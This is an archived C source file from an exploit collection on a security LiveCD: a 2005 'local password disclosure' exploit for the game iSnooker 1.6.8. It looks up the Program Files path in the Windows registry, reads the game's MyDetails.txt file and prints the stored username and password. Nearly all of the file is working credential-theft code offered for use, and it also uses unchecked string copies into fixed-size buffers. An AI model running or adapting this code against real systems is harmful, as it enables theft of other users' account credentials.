home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / iSnooker.c < prev    next >
C/C++ Source or Header  |  2005-03-17  |  2KB  |  120 lines

  1. Snooker <= v1.6.8 Local Password Disclosure Exploit by Kozan
  2.  
  3. Application: iSnooker 1.6.8
  4.  
  5. Vendor:
  6. Memir Software - memirsoftware.com and
  7. The Snooker Club - thesnookerclub.com
  8.  
  9. Vulnerable Description:
  10. iSnooker 1.6.8 discloses passwords to local users.
  11.  
  12. Discovered & Coded by Kozan
  13. Credits to ATmaCA
  14. Web : www.netmagister.com
  15. Web2: www.spyinstructors.com
  16. Mail: kozan@netmagister.com
  17.  
  18. *****************************************************************/
  19.  
  20. #include <stdio.h>
  21. #include <string.h>
  22. #include <windows.h>
  23.  
  24.  
  25. HKEY hKey;
  26. #define BUFSIZE 100
  27. char prgfiles[BUFSIZE];
  28. DWORD dwBufLen=BUFSIZE;
  29. LONG lRet;
  30.  
  31.  
  32. int main()
  33. {
  34. if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  35.  
  36. "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
  37. 0,
  38. KEY_QUERY_VALUE,
  39. &hKey) == ERROR_SUCCESS)
  40. {
  41.  
  42. lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, 
  43. NULL,
  44. (LPBYTE) prgfiles, &dwBufLen);
  45.  
  46. if( (lRet != ERROR_SUCCESS) || (dwBufLen > 
  47. BUFSIZE) ){
  48. RegCloseKey(hKey);
  49. printf("An error occured. Can't get
  50. password!\n");
  51. return -1;
  52. }
  53.  
  54. RegCloseKey(hKey);
  55.  
  56. }
  57. else
  58. {
  59. printf("An error occured. Can't get password!\n");
  60. return -1;
  61. }
  62.  
  63. printf("\n\niSnooker 1.6.8 Local Password Disclosure Exploit by
  64. Kozan\n");
  65. printf("Credits to ATmaCA\n");
  66. printf("kozan@netmagister.com\n");
  67. printf("www.netmagister.com - www.spyinstructors.com\n\n");
  68.  
  69.  
  70. char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];
  71.  
  72. strcpy(pwdfile,strcat(prgfiles,"\\TheSnookerClub\\iSnooker\\MyDetails.txt"));
  73.  
  74. int addr, i, y;
  75. FILE *fp;
  76. char ch[100], ch2[100];
  77.  
  78. if((fp=fopen(pwdfile,"rb")) == NULL)
  79. {
  80. printf("An error occured. Can't get password!\n");
  81. return -1;
  82. }
  83.  
  84.  
  85. fseek(fp,0,0);
  86.  
  87.  
  88. for(i=0;i<30;i++)
  89. {
  90. ch[i]=getc(fp);
  91. if(ch[i]==0x0D)
  92. {
  93. ch[i]=NULL;
  94. strcpy(username,ch);
  95. break;
  96. }
  97. }
  98.  
  99. addr = ftell(fp);
  100. fseek(fp,addr+1,0);
  101.  
  102. for(y=0;y<30;y++)
  103. {
  104. ch2[y]=getc(fp);
  105. if(ch2[y]==0x0D)
  106. {
  107. ch2[y]=NULL;
  108. strcpy(password,ch2);
  109. break;
  110. }
  111. }
  112.  
  113. fclose(fp);
  114.  
  115. printf("Username : %s\n",username);
  116. printf("Password : %s\n",password);
  117.  
  118. return 0;
  119. }
  120.